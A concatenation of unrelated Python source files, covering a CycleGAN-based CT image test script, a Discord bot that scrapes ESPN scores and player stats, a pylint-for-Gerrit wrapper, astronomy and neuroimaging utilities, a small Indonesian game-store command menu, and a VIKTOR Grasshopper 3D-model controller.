"""General-purpose test script for image-to-image translation.

Once you have trained your model with train.py, you can use this script to test the model.
It will load a saved model from --checkpoints_dir and save the results to --results_dir.

It first creates model and dataset given the option. It will hard-code some parameters.
It then runs inference for --num_test images and save results to an HTML file.

Example (You need to train models first or download pre-trained models from our website):
    Test a CycleGAN model (both sides):
        python test.py --dataroot ./datasets/maps --name maps_cyclegan --model cycle_gan

    Test a CycleGAN model (one side only):
        python test.py --dataroot datasets/horse2zebra/testA --name horse2zebra_pretrained --model test --no_dropout

    The option '--model test' is used for generating CycleGAN results only for one side.
    This option will automatically set '--dataset_mode single', which only loads the images from one set.
    On the contrary, using '--model cycle_gan' requires loading and generating results in both directions,
    which is sometimes unnecessary. The results will be saved at ./results/.
    Use '--results_dir <directory_path_to_save_result>' to specify the results directory.

    Test a pix2pix model:
        python test.py --dataroot ./datasets/facades --name facades_pix2pix --model pix2pix --direction BtoA

See options/base_options.py and options/test_options.py for more test options.
See training and test tips at: https://github.com/junyanz/pytorch-CycleGAN-and-pix2pix/blob/master/docs/tips.md
See frequently asked questions at: https://github.com/junyanz/pytorch-CycleGAN-and-pix2pix/blob/master/docs/qa.md
"""
import os
from options.test_options import TestOptions
from data import create_dataset
from models import create_model
from util.visualizer import save_images
from util import html
import util.util as util
import torch
import util.patchify as patchify
import time
from pytorch_lightning import metrics
import pytorch_fid
import matplotlib.pyplot as plt
import scipy.ndimage
import nibabel

import numpy as np

import numpy as np

if __name__ == '__main__':
    opt = TestOptions().parse()  # get test options
    # hard-code some parameters for test
    opt.num_threads = 1   # test code only supports num_threads = 1
    opt.batch_size = 1    # test code only supports batch_size = 1
    opt.serial_batches = True  # disable data shuffling; comment this line if results on randomly chosen images are needed.
    opt.no_flip = True    # no flip; comment this line if results on flipped images are needed.
    opt.display_id = -1   # no visdom display; the test code saves the results to a HTML file.
    dataset = create_dataset(opt)  # create a dataset given opt.dataset_mode and other options
    # train_dataset = create_dataset(util.copyconf(opt, phase="train"))
    model = create_model(opt)      # create a model given opt.model and other options
    # create a webpage for viewing the results
    web_dir = os.path.join(opt.results_dir, opt.name, '{}_{}'.format(opt.phase, opt.epoch))  # define the website directory
    # print('creating web directory', web_dir)
    webpage = html.HTML(web_dir, 'Experiment = %s, Phase = %s, Epoch = %s' % (opt.name, opt.phase, opt.epoch))

    # prepare metrics
    fake_key = 'fake_' + opt.direction[-1]
    real_key = 'real_' + opt.direction[-1]

    metricMAE = metrics.MeanAbsoluteError().to(torch.device('cuda:{}'.format(opt.gpu_ids[0])) if opt.gpu_ids else torch.device('cpu'))
    metricMSE = metrics.MeanSquaredError().to(torch.device('cuda:{}'.format(opt.gpu_ids[0])) if opt.gpu_ids else torch.device('cpu'))
    for i, data in enumerate(dataset):

        if i == 0:
            model.data_dependent_initialize(data)
            model.setup(opt)               # regular setup: load and print networks; create schedulers
            # model.parallelize()
            if opt.eval:
                model.eval()
        # if i >= opt.num_test:  # only apply our model to opt.num_test images.
            # break

        real_A = data['A']
        real_B = data['B']
        print(data.keys())

        print('Input min', np.amin(real_A.numpy()))
        print('Input max', np.amax(real_A.numpy()))
        print('Input max', real_A.numpy().shape)

        patches = patchify.patchify(real_A.numpy(),1, 512)
        for p in range(len(patches)):

            patch = patches[p]

            # transposed = np.transpose(patch.patch, axes=(0,1,3,2))
            data['A'] = torch.tensor(patch.patch).type(torch.FloatTensor)
            model.set_input(data)  # unpack data from data loader
            model.test()           # run inference
            fake_B = model.fake_B.clone().detach()
            patch.patch = fake_B.cpu().numpy() # get image results

        img_path = model.get_image_paths()     # get image paths

        prediction = patchify.unpatchify(patches, 0, 512)

        new_CT = 4095*prediction - 1024
        new_CT = np.array(new_CT, dtype=np.int)
        ni_image = nibabel.Nifti1Image(new_CT[0,0,:,:], np.eye(4))
        os.makedirs('content/results', exist_ok=True)
        nibabel.save(ni_image, 'content/results/'+img_path[0].split('/')[-1])
        prediction = (prediction-0.5)/0.5
        print(prediction)
        # prediction = np.array(scipy.ndimage.zoom(prediction, (1, 1, 2, 2), order=1),dtype=np.float)
        print('Input min', np.amin(prediction))
        print('Input max', np.amax(prediction))
        print(prediction.shape)

        real_A = (real_A-0.5)/0.5
        real_B = (real_B-0.5)/0.5

        # real_A = np.array(scipy.ndimage.zoom(real_A, (1, 1, 2, 2), order=1), dtype=np.float)
        # real_B = np.array(scipy.ndimage.zoom(real_B, (1, 1, 2, 2), order=1),dtype=np.float)
        visuals = {'real_A': real_A, 'fake_B': torch.tensor(prediction), 'real_B': real_B}

        # apply metrics
        # metricMAE(visuals[fake_key], visuals[real_key])
        # metricMSE(visuals[fake_key], visuals[real_key])

        if i % 5 == 0:  # save images to an HTML file
            print('processing (%04d)-th image... %s' % (i, img_path))
        save_images(webpage, visuals, img_path, width=opt.display_winsize)
    webpage.save()  # save the HTML

    # compute metrics

    # mae = metricMAE.compute()
    # mse = metricMSE.compute()

    # print('MAE: ', mae)
    # print('MSE: ', mse)

    fid_paths =  [os.path.join(web_dir, 'images', fake_key), os.path.join(web_dir, 'images', real_key)]
    # fid_value = fid_score.calculate_fid_given_paths(fid_paths,
    #                                                 batch_size=50,
    #                                                 device=None,
    #                                                 dims=2048)
    # print('FID: ', fid_value)


from os import link
from bs4 import BeautifulSoup
from command import Command
import requests
import discord

# Every module has to have a command list
commandList = []

commandList.append(Command("!score", "score", "Used to see the score of live games or the betting odds of an upcoming game.\nNote: if trying to use this command on a team that is not in season it will not give their most recent final score.\nUsage: `!score <TEAM>`\nThe bot will then give either an upcoming game or a live game."))
async def score(client, message):
    contents = message.content.split(" ")
    if len(contents) < 2:
        await message.channel.send("Please give an argument.")

    # Live score handler
    team = ""
    for i in range(1, len(contents)-1):
        team += contents[i] + "+"
    team += contents[len(contents)-1]

    searchURL = "https://www.google.com/search?q=espn+" + team
    html = requests.get(searchURL)
    soup = BeautifulSoup(html.content, 'html.parser')

    links = soup.find_all('a')

    # Now do a new soup with the espn team page
    searchURL = links[16].get('href')[7:]
    if (searchURL.find("team") == -1):
        await message.channel.send("Invalid team, could not be found on ESPN.")
        return

    html = requests.get(searchURL)
    soup = BeautifulSoup(html.content, 'html.parser')

    # Now get the latest game page
    for p in soup.find_all("section", class_="club-schedule"):
        textList = p.find_all("a")
        searchURL = "https://www.espn.com" + textList[1].get('href')
    html = requests.get(searchURL)
    soup = BeautifulSoup(html.content, 'html.parser')

    scores = soup.find_all('div', class_='score-container')
    teamStr = []
    time = ""
    for t in soup.find_all('div', class_='team-container'):
        teams = t.find_all('span')
        teamStr.append(teams[0].text + " " + teams[1].text)
    line = ""
    for s in soup.find_all('div', class_='game-status'):
        span = s.find_all('span', class_='line')
        if len(span) != 0:
            line = span[0].text
    teamRecords = []
    teamLines = []
    teamMoneyLines = []
    over = ""
    if line != "":
        for s in soup.find_all('div', class_='pick-center-content'):
            records = s.find_all('p', class_='record')
            teamRecords.append(records[0].text)
            teamRecords.append(records[1].text)
            records = s.find_all('p', class_='record')
            rows = s.find_all('td', class_="score")
            teamLines.append(rows[3].text)
            teamLines.append(rows[8].text)
            teamMoneyLines.append(rows[4].text.strip())
            teamMoneyLines.append(rows[9].text.strip())
            over = rows[5].text
    else:
        for t in soup.find_all('div', class_='team-container'):
            r = t.find_all('div', class_='record')
            teamRecords.append(r[0].text)
    for s in soup.find_all('div', class_='game-status'):
        span = s.find_all('span', class_='game-time')
        if len(span) == 0 or span[0].text == "":
            span = s.find_all('span')
        else:
            time = span[0].text
            break
        for sp in span:
            if sp.has_attr('data-date'):
                time = sp.get('data-date')
                break
        if time != "":
            newSearch = "https://www.google.com/search?q=What+time+is+" + time[11:16] + "+utc"
            html = requests.get(newSearch)
            soup = BeautifulSoup(html.content, 'html.parser')
            temp = soup.find_all('div', class_="BNeawe iBp4i AP7Wnd")
            # Convert to more readable time
            newTime = temp[0].text.split(" ")[0] + " " + temp[0].text.split(" ")[1]
            date = time[5:10]
            time = newTime + " on " + date
            break

        # time = span[0].text
    # Handling baseball
    if (time.find("outs") != -1):
        time = time[:-6] + " " + time[-6:]
    elif (time.find("out") != -1):
        time = time[:-5] + " " + time[-5:]

    """result = ""
    result += "**" + time + "**\n"
    result += "_" + teamStr[0] + "_  " + scores[0].text + "\n"
    result += "_" + teamStr[1] + "_  " + scores[1].text + ""
    """
    # print("\n")
    # print(result)
    embed = discord.Embed(title = "Gamecast", description=time, colour = discord.Colour.red(), url = searchURL)
    embed.set_author(name=message.author.display_name, icon_url=message.author.avatar_url)
    if line == "": # This means game is live
        embed.add_field(name="**" + teamStr[0] + " " + scores[0].text + "**", value=teamRecords[0], inline=True)
        embed.add_field(name="**" + teamStr[1] + " " + scores[1].text + "**", value=teamRecords[1], inline=True)
    else:
        embed.add_field(name="**" + teamStr[0] + "**", value=teamRecords[0] + "\nSpread:      " + teamLines[0] + "\nMoney Line: " + teamMoneyLines[0], inline=True)
        embed.add_field(name="**" + teamStr[1] + "**", value=teamRecords[1] + "\n" + teamLines[1] + "\n" + teamMoneyLines[1], inline=True)
        embed.add_field(name="Over/Under", value=over, inline=False)
    await message.channel.send(embed=embed)

commandList.append(Command("!player", "player", "Used to view a players season stats as well as their career stats.\nUsage: `!player <NAME>`."))
async def player(client, message):
    contents = message.content.split(" ")
    if len(contents) < 2:
        await message.channel.send("Please give an argument.")

    # Live score handler
    player = ""
    for i in range(1, len(contents)):
        player += contents[i] + "+"
    # player += contents[len(contents)-1]
    player += "stats"

    searchURL = "https://www.google.com/search?q=espn+" + player
    html = requests.get(searchURL)
    soup = BeautifulSoup(html.content, 'html.parser')

    links = soup.find_all('a')
    # Now do a new soup with the espn player page
    searchURL = links[16].get('href')
    if (searchURL[:5] != "https"):
        searchURL = searchURL[7:]
    # searchURL = links[16].get('href')[7:]
    index = searchURL.find("player")
    if (index == -1):
        await message.channel.send("Invalid player, could not be found on ESPN.")
        return
    if (searchURL.find("stats") == -1):
        searchURL = searchURL[:index+6] + "/stats/" + searchURL[index+7:]
    html = requests.get(searchURL)
    soup = BeautifulSoup(html.content, 'html.parser')
    # playerName = " ".join(contents[1:])

    count = 0
    shift = 0 # Used when there is both a career and a season averages row
    for t in soup.find_all('table'):
        row = t.find_all('tr')
        if count == 1:
            statNames = row[0].find_all('th')
            if shift == 1:
                careerRow = row[len(row)-2].find_all('td')
                recentRow = row[len(row)-3].find_all('td')
            else :
                careerRow = row[len(row)-1].find_all('td')
                recentRow = row[len(row)-2].find_all('td')
        elif count == 0:
            recentSeason = row[len(row)-2].find_all('td')
            if recentSeason[0].text == "Career":
                recentSeason = row[len(row)-3].find_all('td')
                shift = 1
        else:
            break
        count += 1

    recent = ""
    # recent += "**" + recentSeason[0].text + " " + recentSeason[1].text + ":**\n"
    # print(statNames)
    for i in range(len(statNames)):
        recent += "" + statNames[i].text + ": " + recentRow[i].text + "\n"
    if (len(careerRow) != 0):
        career = ""
        # career += "Career:\n| "
        for i in range(len(statNames)):
            career += "" + statNames[i].text + ": " + careerRow[i].text + "\n"

    playerName = ""
    for s in soup.find_all('h1', class_='PlayerHeader__Name flex flex-column ttu fw-bold pr4 h2'):
        spans = s.find_all('span')
        playerName += spans[0].text + " " + spans[1].text

    embed = discord.Embed(title = playerName, description="Shows most recent or current season stats and career stats for pro athletes.", colour = discord.Colour.purple(), url = searchURL)
    embed.set_author(name=message.author.display_name, icon_url=message.author.avatar_url)
    embed.add_field(name=recentSeason[0].text + " " + recentSeason[1].text, value = recent, inline = True)
    if (len(careerRow) != 0):
        embed.add_field(name="Career", value = career, inline = True)
    await message.channel.send(embed=embed)


class Parent():
    def __init__(self, last_name, eye_color):
        print ("Parent Constructor is called")
        self.last_name = last_name
        self.eye_color = eye_color

class Child(Parent):
    def __init__(self, last_name, eye_color, number_of_toys):
        print("Child Constructor is called")
        Parent.__init__(self, last_name, eye_color)
        self.number_of_toys = number_of_toys

#billy_cosby = Parent("Billy", "red")
#print (billy_cosby.eye_color)

miley_cosby = Child("Miley", "blue", 5)
print(miley_cosby.last_name)
print(miley_cosby.number_of_toys)


"""
This is a custom pylinter.

It will take the active git branch and compare it to
our development branch, getting a list of files changed.

It will then pylint the original files and compare it to the
new files. Files must maintain a high pylint rating (9+ by default), and not
introduce new problems.

ver 0.1:
 - Use non-zero exit code so we get a -1 in Gerrit if it does not pass
 - Exit code of 0 will cause a +1 to be posted to the review in gerrit.

ver 0.2:
 - Use Gerrit REST API to post comments outlining what needs to
 be changed from pylint.
"""
import subprocess
import re
import os
from lint.utils.general import cd_ctx
from lint.linters.base_linter import Linter
from sys import version_info

class Pylinter(Linter):
    """
    Implements Code validation for given file type.
    """
    EXTS = ['py']

    def run(self, file_list):
        """
        Runs pylint on the list of files and return a dictionary:
         {<filename>: [list of pylint errors],
          'total': <int> - Total number of pylint messages,
          'errors': <int> - Number of pylint errors,
          'scores': (<filename>, score) - Individual score for each file.}

        :param file_list:
        :return:
        """
        data = {'total': 0,
                'errors': 0,
                'scores': []}

        for filename in file_list:
            path, fname = os.path.split(filename)
            if os.path.splitext(filename)[1] != '.py':
                #Don't run on non-python files.
                continue
            with cd_ctx(path):
                short_data = pylint_raw([fname, "--reports=n", "-f", "text"])
                full_data = pylint_raw([fname, "--reports=y", "-f", "text"])

            score_regex = re.search(r"Your code has been rated at (-?\d+\.\d+)", full_data)
            if score_regex:
                score = score_regex.groups()[0]
                data['scores'].append((filename, float(score)))

            pylint_data = short_data.splitlines()

            #Remove the module line that is at the top of each pylint
            if len(pylint_data) > 0:
                pylint_data.pop(0)
            data[filename] = pylint_data
            for line in pylint_data[:]:
                if line.startswith('E'):
                    data['errors'] += 1
                #Ignore pylint fatal errors (problem w/ pylint, not the code generally).
                if line.startswith('F'):
                    data[filename].remove(line)
            data['total'] += len(data[filename])

        if len(data['scores']) > 0:
            data['average'] = (sum([score[1] for score in data['scores']]) / len(data['scores']))
        else:
            data['average'] = 9  # Default average? Comes up when all files are new.
        print("Total: %s" % data['total'])
        print("Errors: %s" % data['errors'])
        print("Average score: %f" % data['average'])
        return data

def pylint_raw(options):
    """
    Use check_output to run pylint.
    Because pylint changes the exit code based on the code score,
    we have to wrap it in a try/except block.

    :param options:
    :return:
    """
    command = ['pylint']
    command.extend(options)

    proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    outs, __ = proc.communicate()

    return outs.decode()


# coding: utf-8
from zfits import FactFits
from astropy.io import fits
import matplotlib.pyplot as plt

f = FactFits(
    "zfits/test_data/20160817_016.fits.fz", "zfits/test_data/20160817_030.drs.fits.gz"
)
facttools = fits.open("zfits/test_data/20160817_016_calibrated.fits")

e = f.get_data_calibrated(0)
ft_e = facttools[1].data["DataCalibrated"][0].reshape((1440, -1))

plt.subplot(2, 1, 1)
plt.plot(ft_e[0], label="FACT-Tools")
plt.plot(e[0], label="zfits")
plt.legend()

plt.subplot(2, 1, 2)
plt.axhline(2000 / 4096, color="C1")
plt.plot(e[0] / ft_e[0])
plt.ylabel("zfits / facttools")
plt.ylim(0.8, 1.2)
plt.savefig("comp2.png", dpi=300)


import torch
from termcolor import colored
import torch.nn as nn
import torch.nn.functional as F
import torchvision
import os

def visual_representation(ckpt_path=None, use_3d=False):
    """
    2D encoder of pretrained 3D Visual representation
    """
    if ckpt_path is None:
        ckpt_path = "checkpoints/videoae_co3d.tar"
    # check path
    if not os.path.exists(ckpt_path):
        raise FileNotFoundError("Checkpoint path does not exist")
    encoder_3d = nn.DataParallel(Encoder3D())
    checkpoint = torch.load(ckpt_path)
    encoder_3d.load_state_dict(checkpoint['encoder_3d'])
    print(colored(">>pretrained 3D visual representation is loaded.", "red"))
    if use_3d:
        return encoder_3d
    else:
        encoder_2d = encoder_3d.module.feature_extraction
        return encoder_2d

def get_resnet18():
    model = torchvision.models.resnet18(pretrained=True)
    feature = nn.Sequential(*list(model.children())[:-2])
    feature[7][0].conv1.stride = (1, 1)
    feature[7][0].downsample[0].stride = (1, 1)
    return feature

class Encoder3D(nn.Module):
    """
    Encoder 3D v2.
    """

    def __init__(self, args=None):
        super(Encoder3D, self).__init__()
        self.backbone = "resnet18"
        if self.backbone=="resnet18":
            self.feature_extraction = get_resnet18()
            self.conv3d_1 = nn.ConvTranspose3d(64, 48, 4, stride=2, padding=1)
            self.conv3d_2 = nn.ConvTranspose3d(48, 32, 4, stride=2, padding=1)
        else:
            raise NotImplementedError

    def forward(self, img, use_3d=False):
        z_2d = self.feature_extraction(img)
        if use_3d:
            B,C,H,W = z_2d.shape
            if self.backbone=="resnet18":
                z_3d = z_2d.reshape([-1, 64, 8, H, W])
            elif self.backbone=="resnet50":
                z_3d = z_2d.reshape([-1, 256, 8, H, W])
            z_3d = F.leaky_relu(self.conv3d_1(z_3d))
            z_3d = F.leaky_relu(self.conv3d_2(z_3d))
            return z_3d
        else:
            return z_2d


import os
from pathlib import Path

from mne_bids import BIDSPath

from seek_localize import read_dig_bids
from seek_localize.bids import write_dig_bids

# BIDS entities
subject = 'la02'
session = 'presurgery'
acquisition = 'seeg'
datatype = 'ieeg'
space = 'fs'

# paths to test files
cwd = os.getcwd()
bids_root = Path(cwd) / 'data'
deriv_root = bids_root / 'derivatives'
mri_dir = deriv_root / 'freesurfer' / f'sub-{subject}' / 'mri'
subjects_dir = deriv_root / 'freesurfer'

desikan_fname = mri_dir / 'aparc+aseg.mgz'
destrieux_fname = mri_dir / 'aparc.a2009s+aseg.mgz'
wmparc_fname = mri_dir / 'wmparc.mgz'
T1mgz = mri_dir / 'T1.mgz'

# path to BIDs electrodes tsv file in test dataset
# NOTE: should not be used directly, always copy to temp directory
_bids_path = BIDSPath(subject=subject, session=session,
                      acquisition=acquisition, datatype=datatype,
                      space=space, root=bids_root,
                      suffix='electrodes', extension='.tsv')

def test_bids_write(_temp_bids_root):
    """Test BIDS writing and reading.

    Test that electrodes.tsv and coordsystem.json files writing
    to BIDS is i) BIDS compliant and ii) readable by mne-bids again.
    """
    bids_path = _bids_path.copy().update(root=_temp_bids_root)

    sensors = read_dig_bids(bids_path, root=_temp_bids_root)

    ch_names = sensors.ch_names
    ch_coords = sensors.get_coords()
    unit = sensors.coord_unit
    coord_system = sensors.coord_system
    intended_for = sensors.intended_for

    elec_bids_path = BIDSPath(subject='02',
                              session=bids_path.session,
                              space=bids_path.space,
                              acquisition=bids_path.acquisition,
                              datatype=bids_path.datatype,
                              root=_temp_bids_root,
                              suffix='electrodes',
                              extension='.tsv')

    write_dig_bids(elec_bids_path, root=_temp_bids_root,
                   ch_names=ch_names,
                   ch_coords=ch_coords, unit=unit,
                   coord_system=coord_system,
                   intended_for=intended_for)
    new_sensors = read_dig_bids(elec_bids_path, root=_temp_bids_root)

    # the coordinates should match
    assert all([sensors.__dict__[key] == new_sensors.__dict__[key]
                for key in
                sensors.__dict__.keys() if key not in [
                    'elecs_fname', 'coordsystem_fname'
                ]])


import hashlib
from collections import OrderedDict

class Perceiver:
    def __init__(self, perceptor):
        self.last_state = None
        self.perceptor = perceptor
        self.current_state = None
        self.keys = None
        self.sorted_keys(perceptor.get_state())
        self.perceive(perceptor.get_state())

    def perceive(self, state):
        current_state = OrderedDict()

        for key in self.keys:
            values = list(state[key])
            values.sort()
            current_state[key] = values

        val = hashlib.sha1(str(current_state))
        self.current_state = val.hexdigest()

    def sorted_keys(self, state):
        given_information = {key: state[key] for key in state}
        self.keys = given_information.keys()
        self.keys.sort()

    def switch(self):
        self.last_state = self.current_state


import numpy as np
import astropy.units as u
from eventio import EventIOFile
from eventio.simtel import MCShower
from astropy.coordinates import SkyCoord, AltAz
from astropy.time import Time

__all__ = [
    "find_nearest_bin",
    "create_angular_area_scaling",
    "poisson_likelihood_gaussian",
    "tensor_poisson_likelihood",
    "create_xmax_scaling",
    "xmax_expectation",
    "rotate_translate",
]

def find_nearest_bin(array, value):
    """
    Find nearest value in an array

    :param array: ndarray
        Array to search
    :param value: float
        Search value
    :return: float
        Nearest bin value
    """

    idx = (np.abs(array - value)).argmin()
    return array[idx]

def rotate_translate(pixel_pos_x, pixel_pos_y, x_trans, y_trans, phi):
    """
    Function to perform rotation and translation of pixel lists
    Parameters
    ----------
    pixel_pos_x: ndarray
        Array of pixel x positions
    pixel_pos_y: ndarray
        Array of pixel x positions
    x_trans: float
        Translation of position in x coordinates
    y_trans: float
        Translation of position in y coordinates
    phi: float
        Rotation angle of pixels
    Returns
    -------
        ndarray,ndarray: Transformed pixel x and y coordinates
    """

    cosine_angle = np.cos(phi[..., np.newaxis])
    sin_angle = np.sin(phi[..., np.newaxis])

    pixel_pos_trans_x = (x_trans - pixel_pos_x) * cosine_angle - (
        y_trans - pixel_pos_y
    ) * sin_angle

    pixel_pos_trans_y = (pixel_pos_x - x_trans) * sin_angle + (
        pixel_pos_y - y_trans
    ) * cosine_angle

    return pixel_pos_trans_x, pixel_pos_trans_y

def xmax_expectation(energy):
    return 300 + 93 * np.log10(energy)

def create_angular_area_scaling(offset_bins, max_viewcone_radius):
    # Argh this code is horrible, but need to account for the angular area contained in each offset bin
    offset_area_scale = {}

    if len(offset_bins) == 1:
        offset_area_scale[offset_bins[0].value] = 1
    else:

        def angular_area(rmin, rmax):
            return np.pi * rmax**2 - np.pi * rmin**2

        total_area = angular_area(0 * u.deg, max_viewcone_radius)

        i = 0
        imax = offset_bins.shape[0] - 1
        diff = np.diff(offset_bins) / 2

        for offset in offset_bins:

            upper_bound = offset + diff
            if i < imax:
                upper_bound = offset + diff
            lower_bound = 0
            if i > 0:
                lower_bound = offset - diff

            print(upper_bound, lower_bound)
            ring_area = angular_area(lower_bound, upper_bound)

            offset_area_scale[offset.value] = total_area / ring_area
            i += 1
    return offset_area_scale

def create_xmax_scaling(xmax_bins, offset_bins, array_pointing, filename):
    output_dict = {}
    shower_count = 0

    with EventIOFile(filename) as f:

        dummy_time = Time("2010-01-01T00:00:00", format="isot", scale="utc")

        for o in f:
            if isinstance(o, MCShower):

                mc_shower = o.parse()

                energy = mc_shower["energy"]
                xmax_exp = xmax_expectation(energy)
                zenith = (np.pi / 2) - mc_shower["altitude"]

                xmax = mc_shower["xmax"] / np.cos(zenith)
                xmax_bin = find_nearest_bin(xmax_bins, xmax - xmax_exp)

                shower_direction = SkyCoord(
                    alt=mc_shower["altitude"] * u.rad,
                    az=mc_shower["azimuth"] * u.rad,
                    frame=AltAz(obstime=dummy_time),
                )
                offset = array_pointing.separation(shower_direction).to(u.deg).value
                offset_bin = find_nearest_bin(offset_bins.value, offset)
                #                print(offset, offset_bin, xmax, xmax_exp, xmax-xmax_exp, xmax_bin, np.rad2deg(zenith))
                key = xmax_bin, offset_bin
                if key in output_dict.keys():
                    output_dict[key] += 1
                else:
                    output_dict[key] = 1
                shower_count += 1

    for key in output_dict.keys():
        output_dict[key] = float(shower_count) / output_dict[key]

    return output_dict

def poisson_likelihood_gaussian(image, prediction, spe_width=0.5, ped=1):

    image = np.asarray(image)
    prediction = np.asarray(prediction)
    spe_width = np.asarray(spe_width)
    ped = np.asarray(ped)

    sq = 1.0 / np.sqrt(
        2 * np.pi * (np.power(ped, 2) + prediction * (1 + np.power(spe_width, 2)))
    )

    diff = np.power(image - prediction, 2.0)
    denom = 2 * (np.power(ped, 2) + prediction * (1 + np.power(spe_width, 2)))
    expo = np.asarray(np.exp(-1 * diff / denom))

    # If we are outside of the range of datatype, fix to lower bound
    min_prob = np.finfo(expo.dtype).tiny
    expo[expo < min_prob] = min_prob

    return -2 * np.log(sq * expo)

def tensor_poisson_likelihood(image, prediction, spe_width=0.5, ped=1):
    import keras.backend as K
    import tensorflow as tf

    prediction = tf.clip_by_value(prediction, 1e-6, 1e9)

    sq = 1.0 / K.sqrt(
        2.0 * np.pi * (K.square(ped) + prediction * (1.0 + K.square(spe_width)))
    )

    diff = K.square(image - prediction)
    denom = 2.0 * (K.square(ped) + prediction * (1 + K.square(spe_width)))
    expo = K.exp(-1 * diff / denom)
    expo = tf.clip_by_value(expo, 1e-20, 100)

    return K.mean(-2 * K.log(sq * expo))


import func

user, game, kepemilikan, history = func.load()
logged = False
user_id = ''
role = ''

func.clear()
print('Selamat datang di antarmuka "Binomo"')

while True :
    inpt = input('>>> ')
    func.clear()
    if logged == True:
        if role == 'user':
            if inpt == 'buy_game':
                func.buy_game(user,game,kepemilikan,history,user_id)
            elif inpt == 'list_game':
                func.list_game(game,kepemilikan,user_id)
            elif inpt == 'search_my_game':
                func.search_my_game(game,kepemilikan,user_id)
            elif inpt == 'riwayat':
                func.riwayat(history,user_id)
            elif inpt == 'list_game_toko':
                func.list_game_toko(game)
            elif inpt == 'search_game_at_store':
                func.search_game_at_store(game)
            elif inpt == 'help':
                func.help(logged,role)
            elif inpt == 'save':
                func.save(user,game,kepemilikan,history)
            elif inpt == 'kerangajaib':
                func.kerangajaib()
            elif inpt == 'tictactoe':
                func.tictactoe()
            elif inpt == 'exit':
                func.exit(user,game,kepemilikan,history)
                break
            else:
                print('Maaf, anda tidak memiliki izin untuk menjalankan perintah berikut. Mintalah ke administrator untuk melakukan hal tersebut.')
        elif role == 'admin':
            if inpt == 'register':
                func.register(user)
            elif inpt == 'tambah_game':
                func.tambah_game(game)
            elif inpt == 'ubah_game':
                func.ubah_game(game)
            elif inpt == 'ubah_stok':
                func.ubah_stok(game)
            elif inpt == 'topup':
                func.topup(user)
            elif inpt == 'list_game_toko':
                func.list_game_toko(game)
            elif inpt == 'search_game_at_store':
                func.search_game_at_store(game)
            elif inpt == 'help':
                func.help(logged,role)
            elif inpt == 'save':
                func.save(user,game,kepemilikan,history)
            elif inpt == 'kerangajaib':
                func.kerangajaib()
            elif inpt == 'tictactoe':
                func.tictactoe()
            elif inpt == 'exit':
                func.exit(user,game,kepemilikan,history)
                break
            else:
                print('Maaf, anda harus menjadi User untuk melakukan hal tersebut')
    else:
        if inpt == 'login':
            logged, user_id, role = func.login(user)
        elif inpt == 'help':
            func.help(logged,role)
        elif inpt == 'exit':
            func.exit(user,game,kepemilikan,history)
            break
        elif inpt == 'kerangajaib':
            func.kerangajaib()
        elif inpt == 'tictactoe':
            func.tictactoe()
        else:
            print('Maaf, anda harus login terlebih dahulu untuk mengirim perintah selain "login" dan "help".')


import pandas as pd
import matplotlib.pyplot as plt

df =  pd.read_csv('assets/CFPB Housing Data.csv')

CENSUS = df['Census Tract']
LOAN = df['Loan Amount']

plt.scatter(CENSUS, LOAN)

plt.xlabel("Census Tract")
plt.ylabel("Loan Amount")

plt.show()
#print(df.head)


from io import BytesIO
from io import TextIOWrapper
from pathlib import Path

from trimesh import load
from trimesh.exchange.gltf import export_glb
from trimesh.resolvers import FilePathResolver
from viktor import File
from viktor import UserException
from viktor.core import Storage
from viktor.core import ViktorController
from viktor.core import progress_message
from viktor.external.generic import GenericAnalysis
from viktor.result import DownloadResult
from viktor.views import DataGroup
from viktor.views import DataItem
from viktor.views import GeometryAndDataResult
from viktor.views import GeometryAndDataView

from .parametrization import GrasshopperParametrization

class GrasshopperController(ViktorController):
    """Controller class which acts as interface for the Grasshopper entity type."""
    label = "Grasshopper"
    parametrization = GrasshopperParametrization
    viktor_convert_entity_field = True

    @GeometryAndDataView('3D model', duration_guess=10, up_axis='Y')
    def visualize(self, params, **kwargs):
        """Visualizes the 3d model of the grasshopper design and displays the data returned from it."""
        # Create all files needed to send to the worker. This is the Rhino file, the Grasshopper file,
        # and the input parameters as a txt file
        with open(Path(__file__).parent / 'data' / 'sample_app.3dm', 'rb') as rhino_file:
            rhino_file_buffer = BytesIO(rhino_file.read())
        with open(Path(__file__).parent / 'data' / 'sample_app_gh.gh', 'rb') as grasshopper_file:
            grasshopper_file_buffer = BytesIO(grasshopper_file.read())
        input_str = f'{params.grasshopper.pitch_width}, {params.grasshopper.Offset}, {params.grasshopper.Shape}, ' \
                    f'{params.grasshopper.Depth}, {params.grasshopper.Asymmetry_length}, ' \
                    f'{params.grasshopper.Asymmetry_width}, {params.grasshopper.Height}'
        files = [
            ('input.txt', BytesIO(bytes(input_str, 'utf8'))),
            ('sample_app.3dm', rhino_file_buffer),
            ('sample_app_gh.gh', grasshopper_file_buffer)
        ]

        progress_message(message='1/3 - Opening Rhino and grasshopper to export the obj file (±3 min)')

        # Run the analysis on grasshopper
        generic_analysis = GenericAnalysis(files=files, executable_key="run_grasshopper",
                                           output_filenames=["output.txt", "output.obj", "output.mtl"])
        generic_analysis.execute(timeout=300)

        # Retrieve all files from the analysis
        grass_hopper_data_bytes = generic_analysis.get_output_file("output.txt")
        object_file = generic_analysis.get_output_file("output.obj")
        material_file = generic_analysis.get_output_file("output.mtl")

        # Parse output.txt to an array (split by lines)
        wrapper = TextIOWrapper(grass_hopper_data_bytes, encoding='utf-8')
        grass_hopper_data = wrapper.read().splitlines()

        amount_of_seats = grass_hopper_data[0]
        field_length = float(grass_hopper_data[1]) * 2
        field_width = float(grass_hopper_data[2]) * 2

        progress_message(message='2/3 - Convert obj bytes to glb file (±2 min)')

        # convert obj bytes to glb file
        resolver = FilePathResolver(str(Path(__file__).parent))
        resolver.write("output.mtl", TextIOWrapper(material_file).read())
        trimesh_scene = load(object_file, resolver=resolver, file_type="obj")
        geometry = File()  # create a writable file
        with geometry.open_binary() as writable_buffer:
            writable_buffer.write(export_glb(trimesh_scene))

        # Create results for dataview
        seats_amount = DataGroup(DataItem("Number of seats", amount_of_seats),
                                 DataItem("Field width", field_width),
                                 DataItem("Field length", field_length))

        progress_message(message='3/3 - Store gbl file in memory (±1 min)')

        # store glb file in storage
        storage = Storage()
        storage.set('glb_file', data=geometry, scope='workspace')

        return GeometryAndDataResult(geometry, seats_amount)

    def download_glb_output(self, params, **kwargs):
        """"Download glb file"""
        try:
            storage = Storage()
            glb_file = storage.get('glb_file', scope='workspace')
        except FileNotFoundError as err:
            raise UserException("First update your view") from err

        return DownloadResult(glb_file, 'viktor.glb')


